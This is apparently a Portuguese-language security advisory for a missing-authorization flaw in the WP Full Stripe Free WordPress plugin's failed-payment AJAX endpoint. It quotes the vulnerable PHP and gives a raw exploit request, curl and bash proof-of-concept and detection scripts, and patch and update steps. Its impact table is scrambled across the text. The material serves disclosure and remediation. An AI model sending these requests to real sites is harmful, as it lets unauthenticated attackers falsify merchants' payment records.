
WP Full Stripe Free <= 8.4.3 - Missing Authorization
O plugin WP Full Stripe Free para WordPress é vulnerável a Autorização Ausente nas versões até, e incluindo, 8.4.3 através da ação AJAX wpfs_update_failed_payment_status.
O endpoint AJAX vulnerável é registrado tanto pelos hooks wp_ajax_ quanto wp_ajax_nopriv_:
// wpfs-customer.php, Linha 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
A função update_failed_payment_status() (Linha 3835-3865) executa:
current_user_can())wp_verify_nonce())is_user_logged_in())// wpfs-customer.php, Linha 3835-3865
function update_failed_payment_status() {
try {
$result = [];
$failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
$failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
$paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;
$paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
// ... nenhuma verificação de autenticação antes do processamento ...
$updateData = [
'paid' => 0,
'captured' => 0,
'refunded' => 0
];
// Atacante pode sobrescrever com valores controlados
if ( $lastCharge ) {
$updateData['last_charge_status'] = $lastCharge->status;
$updateData['failure_code'] = $lastCharge->failure_code;
$updateData['failure_message'] = $lastCharge->failure_message;
} else {
$updateData['last_charge_status'] = 'failed';
$updateData['failure_code'] = $failureCode;
$updateData['failure_message'] = $failureMessage;
}
$this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
// ...
}
}
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=CODIGO_ATACANTE&failureMessage=MENSAGEM_ATACANTE
| Área de Impacto | Severidade | Descrição |
|---|---|---|
| Integridade |
# Testa se o endpoint está acessível sem autenticação
curl -s -k -X POST "https://ALVO/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test_cve202612432" \
-d "failureCode=CODIGO_TESTE" \
-d "failureMessage=MENSAGEM_TESTE"
# Resposta esperada (vulnerável):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}
# O indicador chave é que o endpoint responde SEM exigir autenticação
#!/bin/bash
ALVO="https://ALVO"
# Verifica se é vulnerável
echo "[*] Testando CVE-2026-12432..."
RESPOSTA=$(curl -s -k -X POST "$ALVO/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test_123" \
-d "failureCode=XSS" \
-d "failureMessage=INJETADO")
if echo "$RESPOSTA" | grep -q "success"; then
echo "[+] VULNERÁVEL - Endpoint acessível sem autenticação"
else
echo "[-] Não vulnerável ou erro"
fi
Adicione a verificação de autorização em wpfs-customer.php na linha 3835:
function update_failed_payment_status() {
// ADICIONE ESTA VERIFICAÇÃO
if (!current_user_can('manage_options')) {
wp_die('Não autorizado');
}
// ... resto da função
}
Atualize para WP Full Stripe Free >= 8.4.4
# Via Administração do WordPress
Painel > Plugins > WP Full Stripe > Atualizar
# Via WP-CLI
wp plugin update wp-full-stripe-free
# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4
wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.phpcurrent_user_can() ausente antes dos manipuladores AJAX# Verifica se a versão vulnerável está instalada
curl -s https://ALVO/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"
# Testa o endpoint AJAX
curl -s -k -X POST "https://ALVO/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test" | grep -q "success" && echo "Potencialmente Vulnerável"
| Médio |
| Atacantes podem marcar pagamentos bem-sucedidos como falhos |
| Confidencialidade | Nenhum | Nenhuma exposição de dados |
| Disponibilidade | Baixo | Pode interromper operações comerciais |